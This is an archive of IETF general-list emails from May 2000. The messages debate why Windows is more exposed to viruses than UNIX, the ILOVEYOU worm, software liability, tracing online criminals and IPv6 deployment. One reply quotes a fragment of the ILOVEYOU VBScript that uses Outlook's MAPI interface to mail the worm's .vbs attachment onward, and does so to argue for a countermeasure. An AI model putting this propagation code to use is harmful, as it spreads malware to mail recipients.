<BR><FONT SIZE=3D2>Cc: Michael H. Warfield; Valdis.Kletnieks@VT.EDU; =
Scot Mc Pherson;</FONT>
<BR><FONT SIZE=3D2>ietf@ietf.org</FONT>
<BR><FONT SIZE=3D2>Subject: viruses on UNIX vs. Windows </FONT>
</P>
<BR>

<P><FONT SIZE=3D2>it might be useful to further examine the differences =
between UNIX-like</FONT>
<BR><FONT SIZE=3D2>systems (including Linux) and Windows systems =
regarding their </FONT>
<BR><FONT SIZE=3D2>susceptibility to viruses.&nbsp; </FONT>
</P>

<P><FONT SIZE=3D2>1. it should first be noted that UNIX-like systems =
are not immune to </FONT>
<BR><FONT SIZE=3D2>worms or viruses.&nbsp; the Morris worm propagated =
itself via buffer</FONT>
<BR><FONT SIZE=3D2>overflow bugs in sendmail and finger, and similar =
vulnerabilities are</FONT>
<BR><FONT SIZE=3D2>probably still available to a would-be =
attacker.&nbsp; over the years many </FONT>
<BR><FONT SIZE=3D2>more security holes like these have been found in =
UNIX systems and </FONT>
<BR><FONT SIZE=3D2>exploited.&nbsp; we'll keep seeing such holes as =
long as people write </FONT>
<BR><FONT SIZE=3D2>servers in C.&nbsp; but for some reason such attacks =
tend not to be viruses,</FONT>
<BR><FONT SIZE=3D2>we just haven't seen many worms/viruses use these =
techniques since the </FONT>
<BR><FONT SIZE=3D2>Morris worm.</FONT>
</P>

<P><FONT SIZE=3D2>2. the Morris worm worked with both vax and sun3 =
platforms presumably</FONT>
<BR><FONT SIZE=3D2>because these were the most&nbsp; popular platforms =
then in use on the </FONT>
<BR><FONT SIZE=3D2>Internet.&nbsp; today most viruses target Windows =
boxes presumably because</FONT>
<BR><FONT SIZE=3D2>they are so popular.</FONT>
</P>

<P><FONT SIZE=3D2>3. the attacks that have been successful against UNIX =
tend to be specific </FONT>
<BR><FONT SIZE=3D2>to a particular platform - its CPU instruction set, =
memory layout,</FONT>
<BR><FONT SIZE=3D2>system traps, and library routines.&nbsp; Windows =
boxes are also vulnerable </FONT>
<BR><FONT SIZE=3D2>to hardware-specific attacks, but they also support =
things like vbscript.&nbsp; </FONT>
<BR><FONT SIZE=3D2>so there are multiple languages by which one can =
attack a windows box, </FONT>
<BR><FONT SIZE=3D2>and many of those are commonly bundled with =
Windows.&nbsp; so in addition</FONT>
<BR><FONT SIZE=3D2>to windows being more popular, in some ways you it =
has a more </FONT>
<BR><FONT SIZE=3D2>predictable target environment (i.e. a given windows =
box is likely to</FONT>
<BR><FONT SIZE=3D2>have more facilities you can exploit than a UNIX =
box) this makes Windows </FONT>
<BR><FONT SIZE=3D2>a more predictable platform for software developers, =
but virus writers </FONT>
<BR><FONT SIZE=3D2>are software developers too.</FONT>
</P>

<P><FONT SIZE=3D2>4. email-borne viruses have somewhat greater ability =
to penetrate </FONT>
<BR><FONT SIZE=3D2>private networks because email tends to not be =
filtered by firewalls</FONT>
<BR><FONT SIZE=3D2>(and even firewalls that scan for viruses generally =
are limited to</FONT>
<BR><FONT SIZE=3D2>scanning for known viruses)</FONT>
</P>

<P><FONT SIZE=3D2>UNIX-based email clients are less vulnerable than =
their Windows</FONT>
<BR><FONT SIZE=3D2>counterparts because</FONT>
</P>

<P><FONT SIZE=3D2>a) UNIX-like systems do not come with an extensive =
registry of content-type </FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; -to- program mappings.&nbsp; nor, in =
general, do mail readers for these </FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; platforms.&nbsp; so if a mail reader =
receives an object with an unusual </FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; content-type it is unlikely to know =
what to do with it (other than </FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; to offer to save it to a file)</FONT>
</P>

<P><FONT SIZE=3D2>b) UNIX based mail readers tend to rely on the MIME =
content-type</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; label and are less likely than Windows =
readers to &quot;guess&quot; how to</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; handle a file based on the file name =
suffix.&nbsp;&nbsp; MIME content-type</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; registrations are required to contain a =
security considerations </FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; section.&nbsp; it may be that as a =
result, the content-type registry </FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; on a UNIX system is less likely to =
contain definitions for </FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; dangerous objects, than on a windows =
system...and therefore</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; UNIX mail readers are less likely to =
try to interpret such things.</FONT>
</P>

<P><FONT SIZE=3D2>c) UNIX systems have fewer interpreters for =
content-types that</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; can cause harmful side-effects, and =
such as do exist (such</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; as PostScript) are more likely to be =
invoked in a &quot;safe&quot; mode.&nbsp; </FONT>
</P>

<P><FONT SIZE=3D2>&nbsp;&nbsp; script attacks are certainly possible on =
UNIX - most UNIX systems</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; support script languages with =
destructive power similar to vbscript.</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; but it is very unlikely that a UNIX =
mail reader would be configured</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; to, say, automatically execute a perl =
script received in mail.</FONT>
</P>

<P><FONT SIZE=3D2>d) UNIX has not traditionally had a point-and-click =
interface,</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; so the notion that there is some action =
implicitly associated</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; with a file type, so common in the =
Windows and Mac worlds,</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; does not hold for UNIX.&nbsp; Indeed, =
UNIX has much the opposite</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; notion - that arbitrary tools can be =
applied to arbitrary files.</FONT>
</P>

<P><FONT SIZE=3D2>5. unlike many Windows-ish boxes, UNIX is a multi =
user operating</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; system with file protections.&nbsp; =
thus there is a layer of isolation </FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; between user processes and the =
operating system, which limits the </FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; degree of damage that is likely to =
happen.&nbsp; to be sure, a lot of </FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; harm can be done by trashing or =
altering a single user's files, </FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; and there may are often security holes =
which can be exploited </FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; to elevate an ordinary user's =
privileges.&nbsp; but this is still an </FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; additional barrier that must be =
overcome.&nbsp; Windows is an easier</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; target.</FONT>
</P>

<P><FONT SIZE=3D2>6. there is a great deal more history with security =
exploits,</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; and thus with countermeasures, on =
UNIX-like systems.</FONT>
</P>

<P><FONT SIZE=3D2>&nbsp;&nbsp; there seems to be greater awareness of =
the potential for harm</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; among the UNIX community than among =
Windows developers.</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; this may be because UNIX is primarily =
used by computer experts.</FONT>
</P>

<P><FONT SIZE=3D2>conclusion:</FONT>
</P>

<P><FONT SIZE=3D2>to some degree Windows is inherently more vulnerable =
because it</FONT>
<BR><FONT SIZE=3D2>is a more popular platform.&nbsp; however it should =
be possible to make </FONT>
<BR><FONT SIZE=3D2>Windows much less vulnerable than it currently is =
merely by a few </FONT>
<BR><FONT SIZE=3D2>countermeasures.</FONT>
</P>

<P><FONT SIZE=3D2>- don't automatically evaluate content unless it is =
KNOWN to be safe</FONT>
<BR><FONT SIZE=3D2>&nbsp; from harmful side-effects.&nbsp; either that =
or evaluate the content</FONT>
<BR><FONT SIZE=3D2>&nbsp; only within a sandbox which prevents such =
harm.&nbsp; (this means</FONT>
<BR><FONT SIZE=3D2>&nbsp; that you limit the content that you're =
willing to automatically</FONT>
<BR><FONT SIZE=3D2>&nbsp; evaluate to a few well-understood =
types)</FONT>
</P>

<P><FONT SIZE=3D2>- don't offer to execute content that can cause harm =
unless </FONT>
<BR><FONT SIZE=3D2>&nbsp; (a) the recipient okays it, (b) the sender's =
identity is</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp; known and the integrity of the file can =
be assured</FONT>
<BR><FONT SIZE=3D2>&nbsp; (via verifiable digital signatures), and (c) =
the recipient</FONT>
<BR><FONT SIZE=3D2>&nbsp; is warned *each time* that the content can =
cause harm.</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Keith</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01BFB767.9A280CF6--



From owner-ietf-outbound  Sun May  7 09:20:37 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA08094
	for ietf-outbound.10@ietf.org; Sun, 7 May 2000 09:20:02 -0400 (EDT)
Received: from jake.akitanet.co.uk (jake.akitanet.co.uk [212.1.130.131])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA08066
	for <ietf@ietf.org>; Sun, 7 May 2000 09:11:26 -0400 (EDT)
Received: from ppp-10a-42.3com.telinco.net ([212.159.146.42] helo=akitanet.co.uk)
	by jake.akitanet.co.uk with esmtp (Exim 3.13 #3)
	id 12oQpz-0009Rf-00; Sun, 07 May 2000 14:11:11 +0100
Message-ID: <39156BD5.15A17310@akitanet.co.uk>
Date: Sun, 07 May 2000 14:12:53 +0100
From: Paul Robinson <paul@AKITANET.CO.UK>
Organization: Akitanet
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD  (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "Gazal, Elly" <Elly_Gazal@icomverse.com>
CC: IETF <ietf@ietf.org>
Subject: Re: ILOVEYOU
References: <CE835E918749D21191B10060084C377E01E15ECF@ismail1.icomverse.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

"Gazal, Elly" wrote:
> 
> kindly check the attached LOVELETTER coming from me.

Just in case you hadn't noticed, and nobody else had told you, you've
just sent out the ILUVYOU (mangled to get through mail filters) virus
out to ietf@ietf.org... anybody else reading this might be advised (if
you're not aware already) that opening the attatchment is a Bad
Thing(tm) if you're using anything that can understand VBScript....
(like Windows for example... :-) )

-- 
Paul Robinson - Developer/Sys Admin @ Akitanet http://www.akitanet.co.uk
------------------------------------------------------------------------
Sales: T:+44 (0)1869 337088  F:+44 (0)1869 337488 E:sales@akitanet.co.uk
Techs: T:+44 (0)161 228 6388 F:+44 (0)161 228 6387 E:root@akitanet.co.uk
------------------------------------------------------------------------



From owner-ietf-outbound  Sun May  7 09:40:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA08387
	for ietf-outbound.10@ietf.org; Sun, 7 May 2000 09:40:02 -0400 (EDT)
Received: from shell9.ba.best.com (root@shell9.ba.best.com [206.184.139.140])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA08336
	for <ietf@ietf.org>; Sun, 7 May 2000 09:35:44 -0400 (EDT)
Received: (from bovik@localhost)
	by shell9.ba.best.com (8.9.3/8.9.2/best.sh) id GAA29907;
	Sun, 7 May 2000 06:35:16 -0700 (PDT)
Date: Sun, 7 May 2000 06:35:16 -0700 (PDT)
From: "James P. Salsman" <bovik@best.com>
Message-Id: <200005071335.GAA29907@shell9.ba.best.com>
To: ietf@ietf.org
Subject: cure: queue as draft when "Send" called (was Re: ILOVEYOU)
X-Loop: ietf@ietf.org

"spyder" wrote:
>...
> set regedit=CreateObject("WScript.Shell")
> set out=WScript.CreateObject("Outlook.Application")
> set mapi=out.GetNameSpace("MAPI")
>...
> set male=out.CreateItem(0)
> male.Recipients.Add(malead)
> male.Subject = "ILOVEYOU"
> male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
> male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
> male.Send

One solution is to boycott Outlook until MAPI's Send simply queues the 
messages as drafts without sending them.  Suggesting that within Cisco 
shortly after the melissa worm, which I had to personally clean up after, 
I was told that was a "strategic" decision and henceforth I was only to 
make "tactical" recommendations.  Whoops!

People need to learn to stand up to bad engineering, and bad management 
decisions in favor of bad engineering.  As a corallary, people need to 
support good engineering, such as device upload in HTML:
  http://www.sourcexchange.com/WishDetail?wishID=227

Cheers,
James



From owner-ietf-outbound  Sun May  7 11:20:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA09212
	for ietf-outbound.10@ietf.org; Sun, 7 May 2000 11:20:02 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA09189
	for <ietf@ietf.org>; Sun, 7 May 2000 11:17:43 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id LAA21106;
        Sun, 7 May 2000 11:17:42 -0400 (EDT)
Message-Id: <200005071517.LAA21106@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: Jacob Palme <jpalme@DSV.SU.SE>
cc: IETF general mailing list <ietf@ietf.org>
Subject: Re: VIRUS WARNING 
In-reply-to: Your message of "Sun, 07 May 2000 12:06:36 +0200."
             <v04210100b53aef547bba@[130.237.150.138]> 
Date: Sun, 07 May 2000 11:17:42 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

Jacob,

in my mind the people most responsible for the viruses are those who
built systems that were so easily compromised.

we don't need protocol support to track them down.

Keith



From owner-ietf-outbound  Sun May  7 12:00:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA09481
	for ietf-outbound.10@ietf.org; Sun, 7 May 2000 12:00:02 -0400 (EDT)
Received: from unni.dsv.su.se (unni.dsv.su.se [130.237.161.27])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA09437
	for <ietf@ietf.org>; Sun, 7 May 2000 11:57:56 -0400 (EDT)
Received: from [130.237.150.138] (jph1.dsv.su.se [130.237.150.138])
	by unni.dsv.su.se (8.9.3+Sun/8.9.3) with ESMTP
	id RAA16863 for <ietf@ietf.org>;
	Sun, 7 May 2000 17:57:55 +0200 (MET DST)
Mime-Version: 1.0
Message-Id: <v0421010eb53b3e500a1b@[130.237.150.138]>
In-Reply-To: <200005071517.LAA21106@astro.cs.utk.edu>
References: <200005071517.LAA21106@astro.cs.utk.edu>
Date: Sun, 7 May 2000 17:55:19 +0200
To: IETF general mailing list <ietf@ietf.org>
From: Jacob Palme <jpalme@DSV.SU.SE>
Subject: Re: VIRUS WARNING
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

At 11.17 -0400 0-05-07, Keith Moore wrote:
> in my mind the people most responsible for the viruses are those who
> built systems that were so easily compromised.
>
> we don't need protocol support to track them down.

That is certainly one factor of importance. But even the
best systems can be compromised, and crimes directly using
the Internet, such as ping overloads, mail bombing, using
vulnerabilities like buffer overlow, etc., do occur. Also,
designing systems which are more safe from viruses may be
systems which are less user-friendly. For example, I have
set my MS Office programs to always ask me before running a
macro in an unkown file in it. The advantage is less risk for
viruses, but the disadvantage is that I have to OK those
questions from MS Office of whether to accept macros. And
if they occur too open, there is a risk that I click "yes"
before thinking through the risk of doing this.

The general view in the Internet community seems to be that
the rights to privacy and anonymity are more important than
catching the increasing amount of criminality on the net.
But would it not be possible to design methods which
protects privacy and anonymity and still makes it possible
to catch criminals. Privacy and anonymity should be
preserved as long as people use them for legal activities.
If, however, they commit crimes, like spreading viruses,
mail bombing, ping overload, etc., are they still entitled
to privacy and anonymity? Can we design logging and tracing
methods which are protected so that they cannot be used
without cause.

I do not know about the laws in the U.S.A., but in my
country, Sweden, police are allowed to perform wiretapping
and electronic eavesdropping only by decision of a court,
and only when there is reason to believe the someone has
committed a crime with a penalty of at least two years in
prison. Could not the methods of catching criminals on the
Internet be protected by similar safeguards? Could not the
tracing and logging be protected by crypthographic
authorisation which only allows their use in proper ways?

This may be a difference in culture. Compared to my own
home country, Sweden, people in the U.S. seem to be very
paranoic in their view of public law enforcement. This
may be because public law enforcement agencies abuse their
privileges more in your country. Or it may be that people
in Sweden are so accustomed to government control that
they do not react?
-- 
Jacob Palme <jpalme@dsv.su.se> (Stockholm University and KTH)
for more info see URL: http://www.dsv.su.se/jpalme/



From owner-ietf-outbound  Sun May  7 12:50:25 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA09793
	for ietf-outbound.10@ietf.org; Sun, 7 May 2000 12:50:02 -0400 (EDT)
Received: from A4.JCK.COM (ns.jck.com [209.187.148.211])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA09738
	for <ietf@ietf.org>; Sun, 7 May 2000 12:43:01 -0400 (EDT)
Received: from P2 ("port 1278"@[209.187.148.217])
 by a4.jck.com (PMDF V6.0-23 #40360) with ESMTP id <0FU70044N7T4M5@a4.jck.com>
 for ietf@ietf.org; Sun, 07 May 2000 12:43:53 -0400 (EDT)
Date: Sun, 07 May 2000 12:43:00 -0400
From: John C Klensin <klensin@jck.com>
Subject: Re: VIRUS WARNING
In-reply-to: <200005071517.LAA21106@astro.cs.utk.edu>
To: Keith Moore <moore@cs.utk.edu>
Cc: Jacob Palme <jpalme@DSV.SU.SE>, IETF general mailing list <ietf@ietf.org>
Message-id: <4220640848.957703380@P2>
MIME-version: 1.0
X-Mailer: Mulberry/2.0.0 (Win32)
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7bit
Content-disposition: inline
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

--On Sunday, 07 May, 2000 11:17 -0400 Keith Moore
<moore@cs.utk.edu> wrote:

> in my mind the people most responsible for the viruses are
> those who built systems that were so easily compromised.
> 
> we don't need protocol support to track them down.

Keith,

This is a difficult issue and, IMO, a slippery slope.   I want
to agree with you, I really do, partially because I believe that
it is a really bad idea for organizations to ship software with
all security controls off by default, especially if there is no
really easy way to enable those controls, and that companies
that do so should take responsibility for the consequences.  

However, in the more general case, if one takes the position
that, if I build a dangerous-but-useful tool and someone misuses
it, I should be held responsible, we are going to end up with
rules against a lot of very useful stuff including, in extreme
cases, many open source environments.

While this situation has not changed my feelings about the Raven
outcome any more than it has yours, this is probably not a good
situation about which to get simplistic.

    john



From owner-ietf-outbound  Sun May  7 13:00:10 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA09922
	for ietf-outbound.10@ietf.org; Sun, 7 May 2000 13:00:02 -0400 (EDT)
Received: from shell5.ba.best.com (gds@shell5.ba.best.com [206.184.139.136])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA09770
	for <ietf@ietf.org>; Sun, 7 May 2000 12:49:28 -0400 (EDT)
Received: (from gds@localhost)
	by shell5.ba.best.com (8.9.3/8.9.2/best.sh) id JAA05376;
	Sun, 7 May 2000 09:49:19 -0700 (PDT)
Date: Sun, 7 May 2000 09:49:19 -0700 (PDT)
From: Greg Skinner <gds@best.com>
Message-Id: <200005071649.JAA05376@shell5.ba.best.com>
To: ietf@ietf.org
Subject: Re: VIRUS WARNING
X-Loop: ietf@ietf.org

Keith Moore <moore@cs.utk.edu> wrote:

> but sooner or later folks are going to be held liable for poor engineering
> or poor implementation of networking software, just like folks today can be
> held liable for poor engineering or implementation of bridges or buildings.

I don't see how, as long as the software manufacturers ship the software
with legal disclaimers, e.g. "We are not responsible for damages ..."
Also, bridges and buildings are built by licensed professionals, for the
most part.  Comparatively speaking, very few software professionals are
licensed in this way.  They do accept responsibility for damages; said
responsibility is factored into the cost of the bridge or building.
[Generalization] Much software is cheap and sold in bulk as a commodity.
If for some reason software became significantly more expensive that would
limit its spread and growth.  We would no longer have the thriving
industry we have now.

--gregbo



From owner-ietf-outbound  Sun May  7 13:10:21 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA10104
	for ietf-outbound.10@ietf.org; Sun, 7 May 2000 13:10:03 -0400 (EDT)
Received: from marcos.networkcs.com (marcos.networkcs.com [137.66.16.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA09831
	for <ietf@ietf.org>; Sun, 7 May 2000 12:51:24 -0400 (EDT)
Received: from us.networkcs.com (us.networkcs.com [137.66.11.15])
	by marcos.networkcs.com (8.9.3/8.9.3) with ESMTP id LAA18338
	for <ietf@ietf.org>; Sun, 7 May 2000 11:51:25 -0500 (CDT)
	(envelope-from salo@us.networkcs.com)
Received: (from salo@localhost)
	by us.networkcs.com (8.9.2/8.9.2) id LAA80809
	for ietf@ietf.org; Sun, 7 May 2000 11:51:24 -0500 (CDT)
	(envelope-from salo)
Date: Sun, 7 May 2000 11:51:24 -0500 (CDT)
From: Tim Salo <salo@networkcs.com>
Message-Id: <200005071651.LAA80809@us.networkcs.com>
To: ietf@ietf.org
Subject: Re: VIRUS WARNING
In-Reply-To: <v0421010eb53b3e500a1b@[130.237.150.138]>
X-Loop: ietf@ietf.org

> Date: Sun, 7 May 2000 17:55:19 +0200
> To: IETF general mailing list <ietf@ietf.org>
> From: Jacob Palme <jpalme@dsv.su.se>
> Subject: Re: VIRUS WARNING
> 	[...]
> I have
> set my MS Office programs to always ask me before running a
> macro in an unkown file in it. The advantage is less risk for
> viruses, but the disadvantage is that I have to OK those
> questions from MS Office of whether to accept macros. And
> if they occur too open, there is a risk that I click "yes"
> before thinking through the risk of doing this.
> 	[...]

Other disadvantages include:

o	You have very little basis upon which to make a decision.  You
	can decide based upon whether you trust the sender (which isn't
	much to go on, as shown by the recent batch of Outlook viruses),
	but you can't decide based on whether the macro might damage
	your system.

o	Once you click "yes", there is apparently little limit to the
	damage that the macro can do, (if it isn't executing in a well-
	constructed sandbox).

-tjs



From owner-ietf-outbound  Sun May  7 14:10:20 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA10695
	for ietf-outbound.10@ietf.org; Sun, 7 May 2000 14:10:02 -0400 (EDT)
Received: from postfix3.free.fr (postfix@postfix3.free.fr [212.27.32.22])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA10655
	for <ietf@ietf.org>; Sun, 7 May 2000 14:06:25 -0400 (EDT)
Received: from portable (paris11-nas4-46-55.dial.proxad.net [212.27.46.55])
	by postfix3.free.fr (Postfix) with SMTP id 4048786D05
	for <ietf@ietf.org>; Sun,  7 May 2000 20:06:26 +0200 (CEST)
Message-ID: <001401bfb84e$2cf86760$372e1bd4@portable>
From: "Kajebko" <kajebko@free.fr>
To: "IETF" <ietf@ietf.org>
References: <CE835E918749D21191B10060084C377E01E15ECF@ismail1.icomverse.com> <39156BD5.15A17310@akitanet.co.uk>
Subject: Re: ILOVEYOU
Date: Sun, 7 May 2000 20:00:47 +0200
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
X-Loop: ietf@ietf.org

Learn how to make a virus ;)
Just rename ***.TXT.vbs -> ***.TXT (right click and 'rename',don't double
click on the name...)

----- Original Message -----
From: Paul Robinson <paul@akitanet.co.uk>
To: Gazal, Elly <Elly_Gazal@icomverse.com>
Cc: IETF <ietf@ietf.org>
Sent: Sunday, May 07, 2000 3:12 PM
Subject: Re: ILOVEYOU


> "Gazal, Elly" wrote:
> >
> > kindly check the attached LOVELETTER coming from me.
>
> Just in case you hadn't noticed, and nobody else had told you, you've
> just sent out the ILUVYOU (mangled to get through mail filters) virus
> out to ietf@ietf.org... anybody else reading this might be advised (if
> you're not aware already) that opening the attatchment is a Bad
> Thing(tm) if you're using anything that can understand VBScript....
> (like Windows for example... :-) )
>
> --
> Paul Robinson - Developer/Sys Admin @ Akitanet http://www.akitanet.co.uk
> ------------------------------------------------------------------------
> Sales: T:+44 (0)1869 337088  F:+44 (0)1869 337488 E:sales@akitanet.co.uk
> Techs: T:+44 (0)161 228 6388 F:+44 (0)161 228 6387 E:root@akitanet.co.uk
> ------------------------------------------------------------------------
>
>




From owner-ietf-outbound  Sun May  7 14:20:07 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA10915
	for ietf-outbound.10@ietf.org; Sun, 7 May 2000 14:20:02 -0400 (EDT)
Received: from mauve.innosoft.com (DSL107-055.brandx.net [209.55.107.55])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA10881
	for <ietf@ietf.org>; Sun, 7 May 2000 14:19:36 -0400 (EDT)
From: ned.freed@innosoft.com
Received: from MAUVE.INNOSOFT.COM by MAUVE.INNOSOFT.COM (PMDF V6.1-1 #35243)
 id <01JP2OK3VBV40000MH@MAUVE.INNOSOFT.COM> for ietf@ietf.org; Sun,
 07 May 2000 11:19:33 -0800 (PST)
Date: Sun, 07 May 2000 11:07:08 -0800 (PST)
Subject: Re: VIRUS WARNING
In-reply-to: "Your message dated Sun, 07 May 2000 12:06:36 +0200"
 <v04210100b53aef547bba@[130.237.150.138]>
To: Jacob Palme <jpalme@DSV.SU.SE>
Cc: IETF general mailing list <ietf@ietf.org>
Message-id: <01JP47MG34QK0000MH@MAUVE.INNOSOFT.COM>
MIME-version: 1.0
Content-type: text/plain; charset=us-ascii
References: <200005050039.UAA08387@astro.cs.utk.edu>
 <200005050039.UAA08387@astro.cs.utk.edu>
X-Loop: ietf@ietf.org

> > but sooner or later folks are going to be held liable for poor engineering
> > or poor implementation of networking software, just like folks today can be
> > held liable for poor engineering or implementation of bridges or buildings.

> This discussion is highly relevant to the IETF list, if we
> discuss the problems and how to overcome them, and avoid
> the never-ending platform war discussions.

> At the IETF meeting in December 1999, the issue was
> discussed whether IETF should support changes in protocols
> which would make it easier to find villains committing
> crime on the net. This was discussed in a large plenary
> meeting, with about a thousand people present. A very large
> majority, something like 95 or 98 percent of those present,
> voted against this. I was one of the few who voted yes.

Well, I was there, and I question the validity of your assessment of what was
going on. While it is true that there was a clear concensus opposed to adding
wiretapping facilities in the RAVEN sense, it was by no means 95-98 percent.

And even more important, this wasn't a vote about mechanisms that would make it
easier to find people who distribute viruses. Wiretapping has little if
anything to do with tracking down people who distribute virusus.

> All of you who voted against designing Internet protocols
> so as to help police finding the villain of criminal
> net-behavour: Have you not changed your mind?

On wiretapping, no I haven't. Nor have I changed my mind about viruss.
But again, one of these has almost nothing to do with the other. The scope
of the question asked was very narrowly drawn. You're reading a lot more
into the question that was there.

> Should we not
> try to find and prosecute the people distributing viruses?

Of course we should. But again, this is a matter of having a useful security
infrastructure on the net, not wiretapping. I suspect that if you asked the
same group of people who voted against wiretapping how they felt about security
infrastructure you'd get a _very_ different response.

> Should we not redesign the Internet, so that this becomes
> easier, for example by doing more logging in the routers,
> so that you can go back and check from where something
> illegal came.

And once again you're switching topics. The issue of tracing traffic is quite
different from wiretapping and quite different from having the  tools to track
virus distribution end to end. These are three separate matters.

> Or do you mean that this is impossible,
> because the villains will just get more clever and learn to
> cheat such procedures?

Your message is now so confused that there's no way I can answer this sensibly.

				Ned



From owner-ietf-outbound  Sun May  7 15:00:20 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA11321
	for ietf-outbound.10@ietf.org; Sun, 7 May 2000 15:00:03 -0400 (EDT)
Received: from shell5.ba.best.com (gds@shell5.ba.best.com [206.184.139.136])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA11281
	for <ietf@ietf.org>; Sun, 7 May 2000 14:51:25 -0400 (EDT)
Received: (from gds@localhost)
	by shell5.ba.best.com (8.9.3/8.9.2/best.sh) id LAA06447;
	Sun, 7 May 2000 11:51:27 -0700 (PDT)
Date: Sun, 7 May 2000 11:51:27 -0700 (PDT)
From: Greg Skinner <gds@best.com>
Message-Id: <200005071851.LAA06447@shell5.ba.best.com>
To: ietf@ietf.org
Subject: RE: IPv6: Past mistakes repeated?
 
X-Loop: ietf@ietf.org

Mathis Jim-AJM005 <Jim.Mathis@Motorola.com> wrote:

> We need to move forward with IPv6 both by deploying it in
> the "core" and setting a time-frame after which non-IPv4
> compatible addresses will be assigned.  Unless there is a
> clear reason to move, no one wants to change software just
> to change.  Once IPv6 is in the major backhaul carriers, ISPs
> can role out improved services based on IPv6 which will be
> the real reason end-users upgrade.  Seems like a real
> leadership vacuum here...

Hmmm ... seems like the same issues are in effect with regards to
deploying IPv6 in the "core", namely, no one wants to change software
just to change.  There don't seem to be overly compelling reasons (yet)
for a significantly large number of end users to switch to IPv6
compliant technology, such that it would spur deployment of IPv6 in the
critical infrastructure they use.  Rather, it has spurred deployment
of IPv4/NATv4.

Some of you know that I like to draw parallels between the Internet
and other media.  One possible analogy (with US radio broadcasting) is
that IPv4 is to AM as IPv6 is to FM.  Licensing of FM stations and the
eventual growth and development of that medium was accomplished through a
variety of means, such as limiting the number of new AM licenses granted,
and the development of programming on FM that became sufficiently compelling
that a marketplace grew for radios that could receive both AM and FM
broadcasts.

This suggests that a possible key to mass deployment of IPv6 could come
from stricter IPv4 address space allocation, but more likely from
development of content reachable *only* via IPv6 address space.  This would
hopefully compel the folks who currently want to stick with IPv4/NATv4 to
make/market/purchase IPv6-compliant solutions in order not to be left
behind.

For the record, I don't necessarily think stricter IPv4 address space
allocation is a good idea.  But using the US radio broadcasting analogy
again, a good deal of FM licenses were issued to people who wanted to be
broadcasters but had no choice but to go to FM because the FCC would not
issue them an AM license.

--gregbo



